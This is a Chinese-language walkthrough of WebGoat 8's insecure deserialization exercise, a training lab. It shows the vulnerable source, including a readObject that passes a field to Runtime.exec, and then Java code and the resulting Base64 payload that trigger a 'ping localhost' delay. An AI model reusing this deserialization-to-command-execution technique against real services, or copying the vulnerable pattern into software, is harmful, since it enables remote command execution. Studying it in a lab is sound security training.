Web
题目要求对输入的内容进行反序列化使得页面响应延迟5秒
直接查看源码,目录结构如下图
InsecureDeserializationTask.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package org.owasp.webgoat.deserialization;import org.dummy.insecure.framework.VulnerableTaskHolder;import org.owasp.webgoat.assignments.AssignmentEndpoint;import org.owasp.webgoat.assignments.AssignmentHints;import org.owasp.webgoat.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.util.Base64;@RestController @AssignmentHints ({"insecure-deserialization.hints.1" , "insecure-deserialization.hints.2" , "insecure-deserialization.hints.3" })public class InsecureDeserializationTask extends AssignmentEndpoint { @PostMapping ("/InsecureDeserialization/task" ) @ResponseBody public AttackResult completed (@RequestParam String token) throws IOException { String b64token; long before; long after; int delay; b64token = token.replace('-' , '+' ).replace('_' , '/' ); try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) { before = System.currentTimeMillis(); Object o = ois.readObject(); if (!(o instanceof VulnerableTaskHolder)) { if (o instanceof String) { return failed(this ).feedback("insecure-deserialization.stringobject" ).build(); } return failed(this ).feedback("insecure-deserialization.wrongobject" ).build(); } after = System.currentTimeMillis(); } catch (InvalidClassException e) { return failed(this ).feedback("insecure-deserialization.invalidversion" ).build(); } catch (IllegalArgumentException e) { return failed(this ).feedback("insecure-deserialization.expired" ).build(); } catch (Exception e) { return failed(this ).feedback("insecure-deserialization.invalidversion" ).build(); } delay = (int ) (after - before); System.out.println(delay); if (delay > 7000 ) { return failed(this ).build(); } if (delay < 3000 ) { return failed(this ).build(); } return success(this ).build(); } }
从代码里可以看到,程序从POST请求体里取得token字符串base64解码后,送到readObject()函数里进行反序列化,反序列化的对象如果不是VulnerableTaskHolder类的话,将会报错(这里就很有可能会对readObject进行重写)。最后判断程序执行的时间来检测反序列化的payload是否正确。
VulnerableTaskHolder.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package org.dummy.insecure.framework;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.ObjectInputStream;import java.io.Serializable;import java.time.LocalDateTime;import lombok.extern.slf4j.Slf4j;@Slf 4jpublic class VulnerableTaskHolder implements Serializable { private static final long serialVersionUID = 2 ; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime; public VulnerableTaskHolder (String taskName, String taskAction) { super (); this .taskName = taskName; this .taskAction = taskAction; this .requestedExecutionTime = LocalDateTime.now(); } @Override public String toString () { return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime=" + requestedExecutionTime + "]" ; } private void readObject ( ObjectInputStream stream ) throws Exception { stream.defaultReadObject(); log.info("restoring task: {}" , taskName); log.info("restoring time: {}" , requestedExecutionTime); if (requestedExecutionTime!=null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10 )) || requestedExecutionTime.isAfter(LocalDateTime.now()))) { log.debug(this .toString()); throw new IllegalArgumentException("outdated" ); } if ((taskAction.startsWith("sleep" )||taskAction.startsWith("ping" )) && taskAction.length() < 22 ) { log.info("about to execute: {}" , taskAction); try { Process p = Runtime.getRuntime().exec(taskAction); BufferedReader in = new BufferedReader( new InputStreamReader(p.getInputStream())); String line = null ; while ((line = in.readLine()) != null ) { log.info(line); } } catch (IOException e) { log.error("IO Exception" , e); } } } }
从代码里可知VulnerableTaskHolder.java里重写了readObject()函数,并且通过条件语句限制了只能使用sleep或者ping命令来分别在Linux或者Windows环境下实现延迟效果,然后再使用Runtime.getRuntime().exec(taskAction)来触发命令执行。
SerializationHelper.java里提供了一些工具类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package org.owasp.webgoat.deserialization;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.DataOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.util.Base64;public class SerializationHelper { private static final char [] hexArray = "0123456789ABCDEF" .toCharArray(); public static Object fromString (String s) throws IOException, ClassNotFoundException { byte [] data = Base64.getDecoder().decode(s); ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream(data)); Object o = ois.readObject(); ois.close(); return o; } public static String toString (Serializable o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static String show () throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(baos); dos.writeLong(-8699352886133051976L ); dos.close(); byte [] longBytes = baos.toByteArray(); return bytesToHex(longBytes); } public static String bytesToHex (byte [] bytes) { char [] hexChars = new char [bytes.length * 2 ]; for (int j = 0 ; j < bytes.length; j++) { int v = bytes[j] & 0xFF ; hexChars[j * 2 ] = hexArray[v >>> 4 ]; hexChars[j * 2 + 1 ] = hexArray[v & 0x0F ]; } return new String(hexChars); } }
接下来就是构造反序列化的payload,在IDEA里新建project,目录结构与对应源码保持一致,并且将重写readObject()函数的VulnerableTaskHolder拷贝过来。
因为笔者WebGoat8的搭建环境是Windows,所以使用ping命令来实现延迟: ping localhost -n 5
Main.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package org.dummy.insecure.framework;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64;public class Main { public static void main (String[] args) { try { VulnerableTaskHolder payload = new VulnerableTaskHolder("DoWork" ,"ping localhost -n 5" ); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(payload); oos.close(); String flag = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println(flag); }catch (Exception e){ } } }
执行后,将会打印出对应payload的字符串
1 rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfkCAkOFTAmxKF4eHQAE3BpbmcgbG9jYWxob3N0IC1uIDV0AAZEb1dvcms=
提交后即可。